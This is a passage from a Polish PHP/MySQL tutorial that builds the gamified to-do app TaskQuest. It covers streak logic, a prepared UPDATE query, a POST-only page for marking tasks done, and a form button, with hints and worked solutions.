<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> przed kliknięciem</th><th>streak przed</th><th>streak po</th></tr></thead><tbody><tr><td>dziś</td><td>5</td><td>5</td></tr><tr><td>wczoraj</td><td>5</td><td>6</td></tr><tr><td>trzy dni temu</td><td>5</td><td>1</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code></td><td>0</td><td>1</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Sprawdzenie</strong> w brudnopisie (dołącz <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_grywalizacji.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_terminow.php</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wczoraj = new DateTime('yesterday');

$uzytkownik = new Uzytkownik(
    id: 1,
    login: 'Kama_2026',
    imieUzytkownika: 'Kama',
    xp: 99,
    streak: 5,
    dataOstatniejAktywnosci: $wczoraj-&gt;format('Y-m-d'),
);
$uzytkownik-&gt;aktualizujStreak();
var_dump($uzytkownik-&gt;pobierzStreak());</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(6)</code>. Sprawdź pozostałe wiersze tabeli: zamień datę na <code class="prettyprint lang-sql" style="font-size: 0.85em;">'2026-01-01'</code>, a potem na <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> nadal wywołuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane)</code>. PHP nie zgłosi błędu (nadmiarowy argument jest pomijany), ale strona może teraz pokazywać zawyżony streak. Usuniemy to wywołanie w kroku 7a.</p>
</blockquote>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE &#8211; metoda po zmianach</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    // Wywołujemy tylko wtedy, gdy użytkownik właśnie wykonał zadanie (oznacz-wykonane.php).
    public function aktualizujStreak(): void
    {
        if ($this-&gt;dataOstatniejAktywnosci === null) {
            $this-&gt;streak = 1; // pierwsze wykonane zadanie w historii — seria się zaczyna
            return;
        }

        $this-&gt;streak = aktualizujStreak($this-&gt;streak, $this-&gt;dataOstatniejAktywnosci, true);
    }</code></pre>
</details>



<h3 class="wp-block-heading">5c. SAMODZIELNIE: funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika()</code></h3>



<p class="wp-block-paragraph">Po wykonaniu zadania w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> muszą się zmienić trzy kolumny gracza:</p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> — dodajemy nagrodę za zadanie,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">streak</code> — wpisujemy nową wartość, policzoną w 5b,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> — dzisiejsza data.</li>
</ul>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code>, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code>, napisz funkcję:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function zapiszPostepUzytkownika(mysqli $polaczenie, int $uzytkownikId, int $zdobyteXp, int $streak): void</code></pre>



<p class="wp-block-paragraph">Wymagania:</p>



<ol class="wp-block-list">
<li><strong>Jedno</strong> zapytanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> zmienia wszystkie trzy kolumny.</li>



<li>XP <strong>dodajesz</strong> do wartości, która jest w bazie (wzór <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = xp + ...</code> z 3.1), a nie wpisujesz gotowej liczby.</li>



<li>Streak wpisujesz dokładnie taki, jaki funkcja dostała w parametrze.</li>



<li>Datę ustawia funkcja SQL — ta sama, której używa <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code>.</li>



<li>Zmienia się tylko wiersz tego jednego użytkownika.</li>
</ol>



<p class="wp-block-paragraph"><strong>Sprawdzenie</strong> w brudnopisie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika($polaczenie, 2, 30, 1);</code></pre>



<p class="wp-block-paragraph">Oczekiwane w phpMyAdmin: Ola ma 280 XP, streak 1 i dzisiejszą datę aktywności. Kama bez zmian. Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">SET</code> kolumny oddzielasz przecinkami: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SET a = ..., b = ..., c = ...</code>. Znaków <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> będą trzy. Policz, w jakiej kolejności stoją w zapytaniu, i w tej samej kolejności ułóż litery i zmienne w <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE uzytkownicy SET xp = xp + ?, streak = ?, data_ostatniej_aktywnosci = ... WHERE ...</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function zapiszPostepUzytkownika(mysqli $polaczenie, int $uzytkownikId, int $zdobyteXp, int $streak): void
{
    $zapytanie = $polaczenie-&gt;prepare(
        'UPDATE uzytkownicy SET xp = xp + ?, streak = ?, data_ostatniej_aktywnosci = CURDATE() WHERE id = ?'
    );
    $zapytanie-&gt;bind_param('iii', $zdobyteXp, $streak, $uzytkownikId);
    $zapytanie-&gt;execute();
}</code></pre>
</details>



<p class="wp-block-paragraph"><strong>Dlaczego XP dodaje SQL, a streak liczy PHP?</strong></p>



<ul class="wp-block-list">
<li><strong>XP.</strong> Moglibyśmy wywołać <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;dodajXp(...)</code> i zapisać gotową liczbę (<code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = ?</code>). Problem: obiekt zna XP z chwili wczytania. Jeśli w tym samym czasie drugie żądanie tego gracza doda XP (druga karta), zapis gotowej liczby <strong>nadpisze</strong> tamten wynik i XP przepadnie. <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = xp + ?</code> dolicza do tego, co jest w bazie w chwili zapisu.</li>



<li><strong>Streak.</strong> Reguły serii są w PHP (funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code>) i nie przepisujemy ich na SQL.</li>



<li><strong>Data.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE()</code>, ta sama funkcja co przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>. Obie daty ustawia ten sam zegar (MySQL).</li>
</ul>



<h2 class="wp-block-heading">Krok 6 — strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code></h2>



<p class="wp-block-paragraph">Ta strona robi jedną rzecz: przyjmuje kliknięcie „Zrobione!”, zapisuje zmiany w bazie i odsyła gracza na listę. Niczego nie wyświetla (poza awarią bazy), podobnie jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>. Zbudujemy ją w pięciu krokach, a po niektórych od razu sprawdzisz efekt. Cały plik znajdziesz w sekcji 9 — zajrzyj tam dopiero po skończeniu.</p>



<h3 class="wp-block-heading">6a. Nowy plik i dołączane pliki</h3>



<ol class="wp-block-list">
<li>W katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> (obok <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>) utwórz plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>. Zacznij od <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php</code>. Plik ma sam PHP, więc bez zamykającego <code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;</code>.</li>



<li>Pierwsza instrukcja: <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start();</code> — strona korzysta z sesji (konwencja od Lekcji 14).</li>



<li>Pod nią dołącz przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/...';</code> wszystkie potrzebne pliki. Listę ułóż sama/sam, odpowiadając na pytania:
<ul class="wp-block-list">
<li>skąd funkcje bazy wezmą stałe <code class="prettyprint lang-sql" style="font-size: 0.85em;">BAZA_...</code>?</li>



<li>strona dostanie z bazy obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> i obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> — co musi być dołączone, żeby te obiekty mogły powstać?</li>



<li>metody klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> korzystają z funkcji z dwóch plików (napisane jest to w komentarzu na górze <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code>) — z których?</li>



<li>w którym pliku są <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">ustawKomunikat()</code>?</li>



<li>w którym są funkcje bazy?</li>
</ul>
</li>



<li>Pod dołączeniami wywołaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania();</code>.</li>
</ol>



<p class="wp-block-paragraph"><strong>Sprawdzenie.</strong> Zalogowana/zalogowany wpisz w pasku adresu <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/oznacz-wykonane.php</code>. Oczekiwane: pusta biała strona, bez błędów, bo plik jeszcze nic nie robi. Po wylogowaniu ten sam adres przekierowuje na logowanie.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Plików jest siedem. Porównaj z listą <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — ta strona potrzebuje prawie tych samych, ale nie wyświetla listy zadań ani nie czyści tytułów.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();</code></pre>
</details>



<h3 class="wp-block-heading">6b. Tylko POST</h3>



<p class="wp-block-paragraph">Strona zmienia dane, więc reaguje wyłącznie na POST (reguła z Lekcji 13). Każde inne wejście, np. wpisanie adresu, odsyła na listę bez żadnej zmiany.</p>



<p class="wp-block-paragraph">Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>. Na jego początku jest warunek, który sprawdza metodę żądania i przekierowuje. Przepisz ten sam warunek do <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania();</code>. Sprawdź, czy przekierowuje na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<p class="wp-block-paragraph"><strong>Sprawdzenie.</strong> Ten sam adres co w 6a (zalogowana/zalogowany). Oczekiwane: zamiast pustej strony — przekierowanie na listę zadań.</p>



<h3 class="wp-block-heading">6c. Numer zadania z formularza</h3>



<p class="wp-block-paragraph">Przycisk „Zrobione!” (krok 7) wyśle w formularzu pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> — numer klikniętego zadania. Pod warunkiem z 6b:</p>



<ol class="wp-block-list">
<li>Odczytaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['id']</code> do zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieIdTekst</code>. Zrób to tak samo jak odczyt pól w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, czyli z <code class="prettyprint lang-sql" style="font-size: 0.85em;">?? ''</code>, bo pola może w ogóle nie być.</li>



<li>Sprawdź, czy tekst składa się z samych cyfr. Użyj tego samego wyrażenia regularnego, którym <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> sprawdza XP. Jeśli <strong>nie</strong> pasuje, zrób przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>, bez komunikatu. Zwykły formularz zawsze wysyła liczbę, więc coś innego oznacza, że ktoś przy nim majstrował.</li>



<li>Dopiero po sprawdzeniu zamień tekst na liczbę i zapisz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieId</code>.</li>



<li>Numer zalogowanego gracza zapisz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId</code> (z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['uzytkownik_id']</code>). Nie potrzebujesz tu <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>, bo wyżej jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code>.</li>
</ol>



<p class="wp-block-paragraph">Działanie tego fragmentu sprawdzisz w Teście 6 (F12), gdy będzie już przycisk.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieIdTekst = $_POST&#91;'id'] ?? '';

if (!preg_match('/^\d+$/', $zadanieIdTekst)) {
    header('Location: index.php');
    exit;
}

$zadanieId = (int) $zadanieIdTekst;
$uzytkownikId = $_SESSION&#91;'uzytkownik_id'];</code></pre>
</details>



<h3 class="wp-block-heading">6d. SAMODZIELNIE: trzy możliwe wyniki kliknięcia</h3>



<p class="wp-block-paragraph">Pod kodem z 6c otwórz blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>. W nim połącz się z bazą (<code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code>) i obsłuż trzy sytuacje:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Sytuacja</th><th>Jak ją rozpoznasz</th><th>Co robi strona</th></tr></thead><tbody><tr><td>zadania nie ma albo jest cudze</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadanieUzytkownika()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code></td><td>komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie znaleziono takiego zadania.</code></td></tr><tr><td>zadanie jest już wykonane</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td><td>komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">To zadanie jest już wykonane.</code></td></tr><tr><td>udało się</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code></td><td>wczytuje gracza z bazy, aktualizuje jego streak (5b), zapisuje postęp (5c), komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie wykonane! +N XP</code>, gdzie N to nagroda za zadanie</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Komunikaty ustawiasz funkcją <code class="prettyprint lang-sql" style="font-size: 0.85em;">ustawKomunikat()</code> (Lekcja 14).</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> wymaga <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>. Napiszesz go w 6e — zrób to od razu, zanim uruchomisz stronę. Pod całym <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> dopisz przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>. Wykona się ono w każdej z trzech sytuacji, bo komunikat czeka w sesji.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<ul class="wp-block-list">
<li>Kolejność ma znaczenie: najpierw <strong>odczyt</strong> zadania (wiersz 1 tabeli), potem <strong>zmiana</strong> (wiersze 2 i 3). Wystarczy jedno <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">elseif</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code>.</li>



<li>W wierszu 2 wywołanie funkcji możesz wpisać bezpośrednio w warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">elseif</code> — funkcja wykona <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i od razu zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>.</li>



<li>Nagrodę za zadanie weźmiesz z obiektu zadania. Nowy streak weźmiesz z obiektu gracza <strong>po</strong> wywołaniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code>.</li>
</ul>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try {
    $polaczenie = polaczZBaza();
    $zadanie = /* zadanie tego gracza albo null */;

    if (/* nie ma zadania */) {
        // komunikat
    } elseif (/* oznaczenie się NIE udało */) {
        // komunikat
    } else {
        // 1. wczytaj gracza
        // 2. zaktualizuj jego streak
        // 3. zapisz postęp: id gracza, nagroda za zadanie, nowy streak
        // 4. komunikat z liczbą XP
    }
}</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try {
    $polaczenie = polaczZBaza();
    $zadanie = wczytajZadanieUzytkownika($polaczenie, $zadanieId, $uzytkownikId);

    if ($zadanie === null) {
        ustawKomunikat('Nie znaleziono takiego zadania.');
    } elseif (!oznaczZadanieJakoWykonane($polaczenie, $zadanieId, $uzytkownikId)) {
        ustawKomunikat('To zadanie jest już wykonane.');
    } else {
        $uzytkownik = wczytajUzytkownika($polaczenie, $uzytkownikId);
        $uzytkownik-&gt;aktualizujStreak();
        zapiszPostepUzytkownika($polaczenie, $uzytkownikId, $zadanie-&gt;pobierzXp(), $uzytkownik-&gt;pobierzStreak());
        ustawKomunikat('Zadanie wykonane! +' . $zadanie-&gt;pobierzXp() . ' XP');
    }
}</code></pre>
</details>



<p class="wp-block-paragraph"><strong>Dlaczego tak:</strong></p>



<ul class="wp-block-list">
<li><strong>Najpierw <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>.</strong> Potrzebujemy nagrody XP i chcemy odróżnić „nie ma / cudze” od „już wykonane”, żeby pokazać właściwy komunikat.</li>



<li><strong>O przyznaniu XP decyduje wynik <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code></strong>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;czyWykonane()</code>. To wzór z 3.3: odczyt mógł być sprzed ułamka sekundy, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NULL</code> rozstrzyga ostatecznie.</li>



<li><strong>Gracza wczytujemy dopiero, gdy XP się należy.</strong> Nie ma sensu pytać bazy, jeśli nic nie zmieniamy. <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code> nie zwróci tu <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>: zadanie należy do tego gracza, a klucz obcy nie pozwala istnieć zadaniu bez właściciela.</li>



<li><strong>Komunikat „+N XP”</strong> zawiera liczbę z bazy, a nie tekst od użytkownika — zasada z Lekcji 14 obowiązuje.</li>



<li>Wszystkie trzy komunikaty są zielone (<code class="prettyprint lang-sql" style="font-size: 0.85em;">.sukces</code>), bo komunikat jednorazowy z Lekcji 14 ma jeden styl. „To zadanie jest już wykonane.” na zielono to kompromis, na który się godzimy.</li>
</ul>



<h3 class="wp-block-heading">6e. Awaria bazy</h3>



<p class="wp-block-paragraph">Gdy baza nie działa, strona nie może po cichu przekierować, bo gracz myślałby, że kliknięcie zadziałało. Pokażemy ramkę błędu, tak jak robi to <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> od Lekcji 18.</p>



<ol class="wp-block-list">
<li>Za klamrą zamykającą <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek) { }</code>.</li>



<li>Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i znajdź blok z komentarzem <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- awaria bazy ...</code>. Skopiuj jego <strong>wnętrze</strong> (od <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaStrony = 'TaskQuest';</code> do <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit;</code>) do środka <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>.</li>



<li>Linię z <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> i ramką błędu zamień tak, żeby ramka miała tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie udało się zapisać zmiany: </code> i komunikat wyjątku. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> komunikat był w zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code>. Tu weź go wprost z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wyjatek-&gt;getMessage()</code> i doklej kropką.</li>



<li>Pod linią z ramką, przed dołączeniem stopki, dodaj link powrotu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;</code>. Gracz trafił na stronę, która zwykle nic nie pokazuje, więc potrzebuje drogi powrotu.</li>
</ol>



<p class="wp-block-paragraph">Sprawdzisz to w Teście 8.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">} catch (Exception $wyjatek) {
    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo '&lt;p class="blad"&gt;Nie udało się zapisać zmiany: ' . $wyjatek-&gt;getMessage() . '&lt;/p&gt;';
    echo '&lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;';
    require_once __DIR__ . '/includes/footer.php';
    exit;
}

header('Location: index.php');
exit;</code></pre>
</details>



<p class="wp-block-paragraph">Przycisku „Zrobione!” jeszcze nie ma, więc pełne działanie strony sprawdzisz po kroku 7.</p>



<h2 class="wp-block-heading">Krok 7 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: przycisk „Zrobione!” i koniec symulacji</h2>



<h3 class="wp-block-heading">7a. Usuwamy symulację streaka</h3>



<p class="wp-block-paragraph">W bloku wywołań usuń <strong>dwie</strong> linie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane = $liczbaWykonanych &gt; 0;</code></pre>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane);</code></pre>



<p class="wp-block-paragraph">Streak jest teraz liczony i zapisywany w <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>. Strona pokazuje wartość z bazy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;pobierzStreak()</code> w prezentacji — bez zmian). Wyszukaj w pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code> — nie może już występować.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Uwaga: gdybyś zostawił(a) drugą linię, PHP <strong>nie zgłosi błędu</strong>. Nadmiarowy argument przy wywołaniu metody jest po cichu pomijany. Metoda przeliczyłaby streak przy każdym wyświetleniu — tak jakby gracz przy każdym odświeżeniu wykonywał zadanie (pytanie kontrolne 10).</p>
</blockquote>



<h3 class="wp-block-heading">7b. SAMODZIELNIE: przycisk przy zadaniu</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> znajdź pętlę <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach ($zadaniaDoWyswietlenia as $zadanie) {</code>. Każde zadanie jest w niej wypisywane przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;div class="$klasa"&gt; ... &lt;/div&gt;</code>. Ostatnia linia pętli to <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;/div&gt;";</code>.</p>



<p class="wp-block-paragraph"><strong>Uwaga — nie ruszaj linii z terminem.</strong> Pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;p&gt;Termin: " ...</code> jest warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">if (!$zadanie-&gt;czyWykonane())</code> z komunikatem terminu, a pod nim <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;/p&gt;";</code>. Nie wstawiaj przycisku w ten warunek. Po pierwsze, zniknąłby komunikat terminu. Po drugie, formularz znalazłby się wewnątrz akapitu <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;</code>, a w HTML formularz nie może stać w akapicie. Przeglądarka zamknie wtedy <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;</code> przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form&gt;</code> na własną rękę, a to końcowe <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;/p&gt;</code> zostanie bez pary.</p>



<p class="wp-block-paragraph">Co zrobić:</p>



<p class="wp-block-paragraph">1. <span style="font-size: revert; color: initial;">Nad linią </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;/div&gt;";</code><span style="font-size: revert; color: initial;"> (ostatnia w pętli) dopisz warunek, który jest spełniony tylko dla </span><strong style="font-size: revert; color: initial;">niewykonanych</strong><span style="font-size: revert; color: initial;"> zadań. Jest to ten sam warunek, który stoi przy komunikacie terminu.</span></p>



<p class="wp-block-paragraph">2. <span style="font-size: revert; color: initial;">W środku warunku wypisz przez </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code><span style="font-size: revert; color: initial;"> formularz. Dla zadania o </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code><span style="font-size: revert; color: initial;"> = 3 w źródle strony ma się pojawić dokładnie taki HTML:</span></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;"></code><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form class="akcja" method="post" action="oznacz-wykonane.php"></code>    &lt;input type="hidden" name="id" value="3">
    &lt;button type="submit">Zrobione!&lt;/button>
&lt;/form></pre>



<p>Liczbę w <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> weź z obiektu zadania i doklej kropką. Pozostałe linie to stały tekst.</p>



<ul class="wp-block-list">
